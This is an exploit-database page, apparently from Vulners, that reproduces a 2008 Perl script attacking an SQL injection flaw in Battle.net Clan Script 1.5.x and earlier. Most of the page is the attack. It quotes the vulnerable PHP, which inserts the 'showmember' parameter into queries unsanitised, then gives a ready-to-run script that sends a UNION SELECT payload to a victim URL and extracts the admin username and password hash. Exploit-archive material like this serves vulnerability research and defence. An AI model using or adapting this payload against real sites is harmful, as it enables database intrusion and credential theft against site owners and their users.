Lucene search
K

Battle.net Clan Script <= 1.5.x Remote SQL Injection Exploit

🗓️ 15 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Battle.net Clan Script <= 1.5.x Remote SQL Injection Exploit. Found by Stack-Terrorist

Code

                                                #!/usr/bin/perl&nbsp;-w
#&nbsp;download&nbsp;script&nbsp;:&nbsp;http://sourceforge.net/project/showfiles.php?group_id=142506&amp;package_id=156487
##############################################################
#&nbsp;Battle.net&nbsp;Clan&nbsp;Script&nbsp;&lt;=&nbsp;1.5.x&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Inj&nbsp;Exploit&nbsp;&nbsp;&nbsp;#
##############################################################
########################################
#[*]&nbsp;Founded&nbsp;by&nbsp;:&nbsp;Stack-Terrorist&nbsp;[v40]
#[*]&nbsp;Contact:&nbsp;Ev!L
#[*]&nbsp;Greetz&nbsp;:&nbsp;Houssamix&nbsp;&amp;&nbsp;All&nbsp;muslims&nbsp;HaCkeRs&nbsp;&nbsp;:)
#[*]&nbsp;Fuck&nbsp;&nbsp;&nbsp;:&nbsp;JosS&nbsp;:@
########################################
#&nbsp;vulnerable&nbsp;page
########################################
#&lt;div&nbsp;id=&quot;header&quot;&gt;&lt;h1&gt;&lt;?php&nbsp;echo&nbsp;$site_name&nbsp;?&gt;&lt;/h1&gt;&lt;/div&gt;
#&lt;div&nbsp;id=&quot;gutter&quot;&gt;&lt;/div&gt;
#&lt;div&nbsp;id=&quot;col1&quot;&gt;
#&nbsp;&lt;?php&nbsp;showNav();&nbsp;?&gt;#div&gt;
#&lt;div&nbsp;id=&quot;col2&quot;&gt;
#&nbsp;&lt;?php
#&nbsp;if(!isset($_GET['showmember']))
#&nbsp;{&nbsp;?&gt;
#&nbsp;&nbsp;&lt;h2&gt;Members&lt;/h2&gt;
#&nbsp;&nbsp;&lt;table&nbsp;id=&quot;members&quot;&gt;
#&nbsp;&nbsp;&nbsp;&lt;tr&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;th&gt;Rank&lt;/th&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;th&gt;Member&nbsp;Name&lt;/th&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;th&gt;Email&lt;/th&gt;
#&nbsp;&nbsp;&nbsp;&nbsp;&lt;th&gt;Date&nbsp;Joined&lt;/th&gt;
#&nbsp;&nbsp;&nbsp;&lt;/tr&gt;
#&nbsp;&nbsp;&nbsp;&lt;?php#mysql_select_db($mysql_db)&nbsp;or&nbsp;die(mysql_error());
#&nbsp;&nbsp;&nbsp;$sql&nbsp;=&nbsp;'SELECT&nbsp;bcs_members.id,&nbsp;bcs_members.name,&nbsp;bcs_members.email,&nbsp;bcs_members.date,&nbsp;bcs_ranks.`order`,&nbsp;bcs_ranks.name&nbsp;AS&nbsp;rank&nbsp;'
#&nbsp;&nbsp;&nbsp;&nbsp;.&nbsp;'FROM&nbsp;bcs_members,&nbsp;bcs_ranks&nbsp;WHERE&nbsp;bcs_members.rank&nbsp;=&nbsp;bcs_ranks.id&nbsp;ORDER&nbsp;BY&nbsp;`order`,&nbsp;id';
#&nbsp;&nbsp;&nbsp;$alt&nbsp;=&nbsp;0;
#&nbsp;&nbsp;&nbsp;$result&nbsp;=&nbsp;mysql_query($sql)&nbsp;&nbsp;or&nbsp;die(mysql_error());
#&nbsp;&nbsp;&nbsp;while($r=mysql_fetch_array($result))
#&nbsp;&nbsp;&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;$id=$r[&quot;id&quot;];
#&nbsp;&nbsp;&nbsp;&nbsp;$name=$r[&quot;name&quot;];
#&nbsp;&nbsp;&nbsp;&nbsp;$rank=$r[&quot;rank&quot;];
##&nbsp;&nbsp;&nbsp;&nbsp;$email=$r[&quot;email&quot;];
&nbsp;#&nbsp;&nbsp;&nbsp;$recruit=$r[&quot;recruit&quot;];
&nbsp;#&nbsp;&nbsp;&nbsp;$date=$r[&quot;date&quot;];
&nbsp;#&nbsp;&nbsp;&nbsp;if($recruit&nbsp;===&nbsp;'')&nbsp;{&nbsp;$recruit&nbsp;=&nbsp;'&amp;nbsp;';&nbsp;}
&nbsp;#&nbsp;&nbsp;&nbsp;if&nbsp;($alt&nbsp;%&nbsp;2&nbsp;==&nbsp;0)&nbsp;{&nbsp;echo&nbsp;'&lt;tr&nbsp;class=&quot;altrow&quot;&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;##&nbsp;&nbsp;&nbsp;else&nbsp;{&nbsp;&nbsp;echo&nbsp;'&lt;tr&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;#&nbsp;&nbsp;echo&nbsp;'&lt;td&gt;'&nbsp;.&nbsp;$rank&nbsp;.&nbsp;'&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;#&nbsp;&nbsp;echo&nbsp;'&lt;td&gt;&lt;a&nbsp;href=&quot;?page=members&amp;showmember='&nbsp;.&nbsp;$name&nbsp;.&nbsp;'&quot;&gt;'&nbsp;.&nbsp;$name&nbsp;.&nbsp;'&lt;/a&gt;&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;##&nbsp;&nbsp;if($email&nbsp;===&nbsp;'')&nbsp;{&nbsp;echo&nbsp;'&lt;td&gt;n/a&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;&nbsp;#&nbsp;else&nbsp;{&nbsp;echo&nbsp;'&lt;td&gt;&lt;a&nbsp;href=&quot;mailto:'&nbsp;.&nbsp;$email&nbsp;.&nbsp;'&quot;&gt;Email&lt;/a&gt;&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;td&gt;'&nbsp;.&nbsp;date(&quot;F&nbsp;d,&nbsp;Y&quot;,&nbsp;strtotime($date))&nbsp;.&nbsp;'&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;/tr&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;$alt&nbsp;=&nbsp;$alt&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;#}
&nbsp;&nbsp;&nbsp;#?&gt;
&nbsp;&nbsp;#&lt;/table&gt;
#&nbsp;&lt;?php
&nbsp;#}&nbsp;//&nbsp;end&nbsp;of&nbsp;if&nbsp;$_GET
&nbsp;#else
&nbsp;#{?&gt;
&nbsp;#&nbsp;&lt;h2&gt;Member&nbsp;Details&lt;/h2&gt;
&nbsp;#&nbsp;&lt;table&nbsp;id=&quot;members&quot;&gt;
&nbsp;#&nbsp;&nbsp;&lt;tr&gt;
&nbsp;#&nbsp;&nbsp;&nbsp;&lt;th&gt;Rank&lt;/th&gt;
&nbsp;#&nbsp;&nbsp;&nbsp;&lt;th&gt;Member&nbsp;Name&lt;/th&gt;
&nbsp;#&nbsp;&nbsp;&nbsp;&lt;th&gt;Email&lt;/th&gt;
&nbsp;&nbsp;#&nbsp;&nbsp;&lt;th&gt;Date&nbsp;Joined&lt;/th&gt;
&nbsp;&nbsp;#&nbsp;&lt;/tr&gt;
&nbsp;&nbsp;#&nbsp;&lt;tr&gt;
&nbsp;&nbsp;#&nbsp;&lt;?php
&nbsp;&nbsp;#&nbsp;mysql_connect($mysql_host,&nbsp;$mysql_user,&nbsp;$mysql_pass)&nbsp;or&nbsp;die(mysql_error());
&nbsp;&nbsp;#&nbsp;mysql_select_db($mysql_db)&nbsp;or&nbsp;die(mysql_error());
&nbsp;&nbsp;#&nbsp;$sql&nbsp;=&nbsp;&quot;SELECT&nbsp;`bcs_members`.`name`,&nbsp;`bcs_members`.`email`,&nbsp;`bcs_members`.`date`,&nbsp;`bcs_ranks`.`name`&nbsp;AS&nbsp;'rank'&quot;
&nbsp;&nbsp;#&nbsp;&nbsp;.&nbsp;&quot;FROM&nbsp;`bcs_members`,&nbsp;`bcs_ranks`&nbsp;WHERE&nbsp;`bcs_members`.`rank`&nbsp;=&nbsp;`bcs_ranks`.`id`&nbsp;AND&nbsp;`bcs_members`.`name`&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$_GET['showmember']&nbsp;.&nbsp;&quot;'&quot;;
&nbsp;&nbsp;#&nbsp;$result&nbsp;=&nbsp;mysql_query($sql)&nbsp;&nbsp;or&nbsp;die(mysql_error());
&nbsp;&nbsp;#&nbsp;$r=mysql_fetch_array($result);
&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;td&gt;'&nbsp;.&nbsp;$r[&quot;rank&quot;]&nbsp;.&nbsp;'&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;td&gt;'&nbsp;.&nbsp;$r[&quot;name&quot;]&nbsp;.&nbsp;'&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;#&nbsp;if($r[&quot;email&quot;]&nbsp;===&nbsp;'')&nbsp;{&nbsp;echo&nbsp;'&lt;td&gt;n/a&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;#&nbsp;else&nbsp;{&nbsp;echo&nbsp;'&lt;td&gt;&lt;a&nbsp;href=&quot;mailto:'&nbsp;.&nbsp;$r[&quot;email&quot;]&nbsp;.&nbsp;'&quot;&gt;Email&lt;/a&gt;&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;td&gt;'&nbsp;.&nbsp;date(&quot;F&nbsp;d,&nbsp;Y&quot;,&nbsp;strtotime($r[&quot;date&quot;]))&nbsp;.&nbsp;'&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;#&nbsp;?&gt;
&nbsp;&nbsp;#&nbsp;&lt;/tr&gt;
&nbsp;&nbsp;#&lt;/table&gt;
&nbsp;&nbsp;#&lt;br/&gt;
&nbsp;&nbsp;#&lt;h2&gt;Medals&lt;/h2&gt;
&nbsp;&nbsp;#&lt;table&nbsp;id=&quot;members&quot;&gt;
&nbsp;&nbsp;#&nbsp;&lt;tr&gt;
&nbsp;&nbsp;#&nbsp;&nbsp;&lt;th&gt;Medal&lt;/th&gt;
&nbsp;&nbsp;#&nbsp;&nbsp;&lt;th&gt;Medal&nbsp;Name&lt;/th&gt;
&nbsp;&nbsp;#&nbsp;&nbsp;&lt;th&gt;Description&lt;/th&gt;
&nbsp;&nbsp;#&nbsp;&lt;/tr&gt;
&nbsp;&nbsp;#&nbsp;&lt;tr&gt;
&nbsp;&nbsp;#&nbsp;&lt;?php
&nbsp;&nbsp;#&nbsp;$alt&nbsp;=&nbsp;0;
&nbsp;&nbsp;#&nbsp;$sql&nbsp;=&nbsp;'SELECT&nbsp;`bcs_medals`&nbsp;.&nbsp;`path`&nbsp;,&nbsp;`bcs_medals`&nbsp;.&nbsp;`name`&nbsp;,&nbsp;`bcs_medals`&nbsp;.&nbsp;`description`&nbsp;'
&nbsp;&nbsp;#&nbsp;&nbsp;.&nbsp;'&nbsp;FROM&nbsp;`bcs_medals`&nbsp;,&nbsp;`bcs_members`&nbsp;,&nbsp;`bcs_medal_list`&nbsp;'
&nbsp;&nbsp;&nbsp;#&nbsp;.&nbsp;&quot;&nbsp;WHERE&nbsp;`bcs_members`&nbsp;.&nbsp;`name`&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$_GET['showmember']&nbsp;.&nbsp;&quot;'&quot;
&nbsp;&nbsp;&nbsp;#&nbsp;.&nbsp;'&nbsp;AND&nbsp;`bcs_medal_list`&nbsp;.&nbsp;`mem_id`&nbsp;=&nbsp;`bcs_members`&nbsp;.&nbsp;`id`&nbsp;'
&nbsp;&nbsp;#&nbsp;&nbsp;.&nbsp;'&nbsp;AND&nbsp;`bcs_medal_list`&nbsp;.&nbsp;`medal`&nbsp;=&nbsp;`bcs_medals`&nbsp;.&nbsp;`id`&nbsp;';
&nbsp;&nbsp;#&nbsp;$result&nbsp;=&nbsp;mysql_query($sql)&nbsp;&nbsp;or&nbsp;die(mysql_error());
&nbsp;&nbsp;#&nbsp;while($r=mysql_fetch_array($result))
&nbsp;&nbsp;#&nbsp;{
&nbsp;&nbsp;#&nbsp;&nbsp;$id=$r[&quot;id&quot;];
&nbsp;&nbsp;&nbsp;#&nbsp;$name=$r[&quot;name&quot;];
&nbsp;&nbsp;&nbsp;#&nbsp;$path=$r[&quot;path&quot;];
&nbsp;&nbsp;&nbsp;#&nbsp;$desc=$r[&quot;description&quot;];
&nbsp;&nbsp;&nbsp;#&nbsp;if&nbsp;($alt&nbsp;%&nbsp;2&nbsp;==&nbsp;0)&nbsp;{&nbsp;echo&nbsp;'&lt;tr&nbsp;class=&quot;altrow&quot;&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;&nbsp;#&nbsp;else&nbsp;{&nbsp;&nbsp;echo&nbsp;'&lt;tr&gt;'&nbsp;.&nbsp;&quot;\n&quot;;&nbsp;}
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;'&lt;td&nbsp;class=&quot;center&quot;&gt;&lt;img&nbsp;src=&quot;'&nbsp;.&nbsp;$path&nbsp;.&nbsp;'&quot;&nbsp;alt=&quot;'&nbsp;.&nbsp;$name&nbsp;.&nbsp;'&quot;/&gt;&lt;/td&gt;'&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;&quot;&lt;td&gt;&quot;&nbsp;.&nbsp;$name&nbsp;.&nbsp;&quot;&lt;/td&gt;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;&quot;&lt;td&gt;&quot;&nbsp;.&nbsp;$desc&nbsp;.&nbsp;&quot;&lt;/td&gt;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;echo&nbsp;&quot;&lt;/tr&gt;\n&quot;;
&nbsp;&nbsp;&nbsp;#&nbsp;$alt&nbsp;=&nbsp;$alt&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;#}?&gt;
#&nbsp;&nbsp;&nbsp;&lt;/tr&gt;
#&nbsp;&nbsp;&lt;/table&gt;
#&nbsp;&lt;?php
#&nbsp;&nbsp;echo&nbsp;&quot;&lt;br/&gt;\n&quot;;
#&nbsp;&nbsp;echo&nbsp;&quot;&lt;h2&gt;Recruited&lt;/h2&gt;\n&quot;;
#&nbsp;&nbsp;$result&nbsp;=&nbsp;mysql_query(&quot;SELECT&nbsp;bcs_members.name&nbsp;FROM&nbsp;bcs_members,&nbsp;(SELECT&nbsp;id&nbsp;FROM&nbsp;bcs_members&nbsp;WHERE&nbsp;name&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$_GET['showmember']&nbsp;.&nbsp;&quot;')&nbsp;AS&nbsp;results&nbsp;&quot;
#&nbsp;&nbsp;&nbsp;.&nbsp;&quot;WHERE&nbsp;results.id&nbsp;=&nbsp;bcs_members.recruit&quot;)&nbsp;&nbsp;or&nbsp;die(mysql_error());
#&nbsp;&nbsp;while($r=mysql_fetch_array($result))
#&nbsp;&nbsp;{
#&nbsp;&nbsp;&nbsp;echo&nbsp;$r[&quot;name&quot;]&nbsp;.&nbsp;&quot;&lt;br/&gt;\n&quot;;
#&nbsp;&nbsp;}
#&nbsp;}
#&nbsp;?&gt;
#&lt;/div&gt;
#&lt;div&nbsp;id=&quot;footer&quot;&gt;&lt;?php&nbsp;echo&nbsp;$release;&nbsp;?&gt;&lt;/div&gt;*/
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
system(&quot;color&nbsp;a&quot;);
print&nbsp;&quot;\t\t############################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;Battle.net&nbsp;Clan&nbsp;Script&nbsp;&lt;=&nbsp;1.5.x&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Inj&nbsp;Exploit&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;Stack-Terrorist&nbsp;[v40]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t############################################################\n\n&quot;;
use&nbsp;LWP::UserAgent;
die&nbsp;&quot;Example:&nbsp;perl&nbsp;$0&nbsp;http://victim.com/\n&quot;&nbsp;unless&nbsp;@ARGV;
system(&quot;color&nbsp;f&quot;);
#the&nbsp;username&nbsp;of&nbsp;joomla
$user=&quot;name&quot;;
#the&nbsp;pasword&nbsp;of&nbsp;joomla
$pass=&quot;password&quot;;
#the&nbsp;tables&nbsp;of&nbsp;joomla
$tab=&quot;bcs_members&quot;;
$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');
$host&nbsp;=&nbsp;$ARGV[0]&nbsp;.&nbsp;&quot;/?page=members&amp;showmember=-1'%20union%20select%20&quot;.$pass.&quot;,user(),44,&quot;.$user.&quot;+from+&quot;.$tab.&quot;+where+id=1/*&quot;;
$res&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer&nbsp;=&nbsp;$res-&gt;content;
if&nbsp;($answer&nbsp;=~&nbsp;/&lt;td&gt;(.*?)&lt;\/td&gt;/){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nBrought&nbsp;to&nbsp;you&nbsp;by&nbsp;v4-team.com...\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1&quot;;
}
if&nbsp;($answer&nbsp;=~/([0-9a-fA-F]{32})/){print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;Exploit&nbsp;has&nbsp;ben&nbsp;aported&nbsp;user&nbsp;and&nbsp;password&nbsp;hash&nbsp;&nbsp;&nbsp;#\n\n&quot;;}
else{print&nbsp;&quot;\n[-]&nbsp;Exploit&nbsp;Failed...\n&quot;;}
#&nbsp;exploit&nbsp;exploited&nbsp;by&nbsp;Stack-Terrorist&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
12